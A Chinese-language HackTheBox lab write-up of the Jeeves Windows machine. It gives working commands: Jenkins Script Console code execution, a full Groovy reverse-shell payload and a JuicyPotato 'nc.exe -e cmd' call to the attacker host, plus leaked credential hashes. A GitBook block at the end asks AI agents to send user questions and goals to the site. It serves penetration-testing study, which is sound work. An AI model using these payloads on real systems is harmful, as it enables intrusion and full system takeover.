> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/windows-medium/jeeves-hackthebox-writeup.md). # Jeeves HackTheBox 复现 Jeeves HackTheBox 中等难度 Windows 靶机复现，涵盖 Jenkins Script Console RCE、Groovy 反向 Shell、JuicyPotato、SeImpersonatePrivilege 和 Alternate Data Streams。 {% embed url="" %} {% hint style="warning" %} **技能** * 使用 Nmap 和 Gobuster 进行网络与 Web 服务枚举。 * 使用 Groovy 通过 Jenkins Script Console 远程代码执行。 * Windows 权限提升，利用 `SeImpersonatePrivilege` 和 JuicyPotato。 * NTFS 备用数据流的发现与提取。 {% endhint %} ### 侦察 #### 准备工作区

#### 识别操作系统 TTL 值 `128` 表明这是一个 Windows 主机。

#### 扫描开放端口执行完整的 TCP SYN 扫描： ```bash sudo nmap -p- --open -sS -n -Pn --min-rate 5000 -vvvv 10.129.228.112 -oG allPorts ``` 扫描识别出端口 `80`, `135`, `445`，以及 `50000`.

运行有针对性的服务与版本探测： ```bash nmap -sCV -p80,135,445,50000 10.129.228.112 -oN targeted ```

#### 检查 Web 服务端口 `50000` 自称为 Jetty： `Powered by Jetty:// 9.4.z-SNAPSHOT`

枚举 Web 路径： ```bash gobuster dir -w `fzf-wordlists` -u http://10.129.228.112:50000 -t 100 ```

该 `/askjeeves` 该路径托管 Jenkins `2.87`.

### 初始访问 #### 使用 Jenkins Script Console 打开 **脚本控制台** 位于 `/askjeeves/script`。它接受 Groovy 代码并在 Jenkins 主机上运行。

运行一个无害命令以确认代码执行： ```groovy def process = "PowerShell.exe cmd.exe /c dir".execute() println "Found text ${process.text}" ``` 命令输出证实了远程代码执行。

#### 获取反向 shell 在端口上启动监听器 `443`: ```bash sudo rlwrap nc -nvlp 443 ``` 在 Script Console 中运行这个 Groovy 载荷。根据需要替换回连地址和端口。 {% code overflow="wrap" %} ```groovy Thread.start { String host="10.10.15.2"; int port=443; String cmd="cmd.exe"; Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close(); } ``` {% endcode %} 监听器接收到一个 shell，身份为 `kohsuke`.

#### 查看 Jenkins 凭据 Jenkins 配置中包含一个加密的 API 令牌： {% code overflow="wrap" %} ```bash AQAAABAAAAAwID3cR3pyZaEkaDPU25Z0S+nrU8+gDgB0JEWORJ5L1P2T+zXc/tSs2IVn1ugWLaui54D6yYki4vhXQtGhqUSeFw== ``` {% endcode %} 它还将管理员密码存储为 BCrypt 哈希： {% code overflow="wrap" %} ```bash $2a$10$QyIjgAFa7r3x8IMyqkeCluCB7ddvbR7wUn1GmFJNO2jQp2k8roehO ``` {% endcode %}

#### 获取用户 flag {% code overflow="wrap" %} ```bash type C:\Users\kohsuke\Desktop\user.txt ``` {% endcode %}

### 权限提升 #### 传输所需工具从攻击者主机托管这些文件： {% code overflow="wrap" %} ```bash smbserver.py share $(pwd) -smb2support ``` {% endcode %} 复制 `nc.exe` 和 JuicyPotato 到目标： {% code overflow="wrap" %} ```bash copy \\10.10.15.2\share\nc.exe C:\Users\kohsuke\Downloads\nc.exe ``` {% endcode %} ```bash copy \\10.10.15.2\share\JuicyPotato.exe C:\Users\kohsuke\Downloads\JuicyPotato.exe ```

#### 利用 `SeImpersonatePrivilege` 为提权 shell 启动一个监听器： {% code overflow="wrap" %} ```bash rlwrap nc -nlvp 4444 ``` {% endcode %} 运行 JuicyPotato 以生成 `nc.exe` 作为 `NT AUTHORITY\SYSTEM`: {% code overflow="wrap" %} ```bash .\JuicyPotato.exe -t * -l 1337 -p C:/Windows/System32/cmd.exe -a "/c c:/Users/kohsuke/Downloads/nc.exe -e cmd 10.10.15.2 4444" ``` {% endcode %} 回连以 `NT AUTHORITY\SYSTEM`.

### root flag 列出 Administrator 桌面目录中的备用数据流： ```cmd cd C:\Users\Administrator\Desktop dir /r ``` 输出显示 flag 位于 `hm.txt:root.txt:$DATA` 流中。直接读取它： ```bash more < hm.txt:root.txt:$DATA ``` 至此，该机器已被拿下，身份为 `NT AUTHORITY\SYSTEM`.

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/windows-medium/jeeves-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.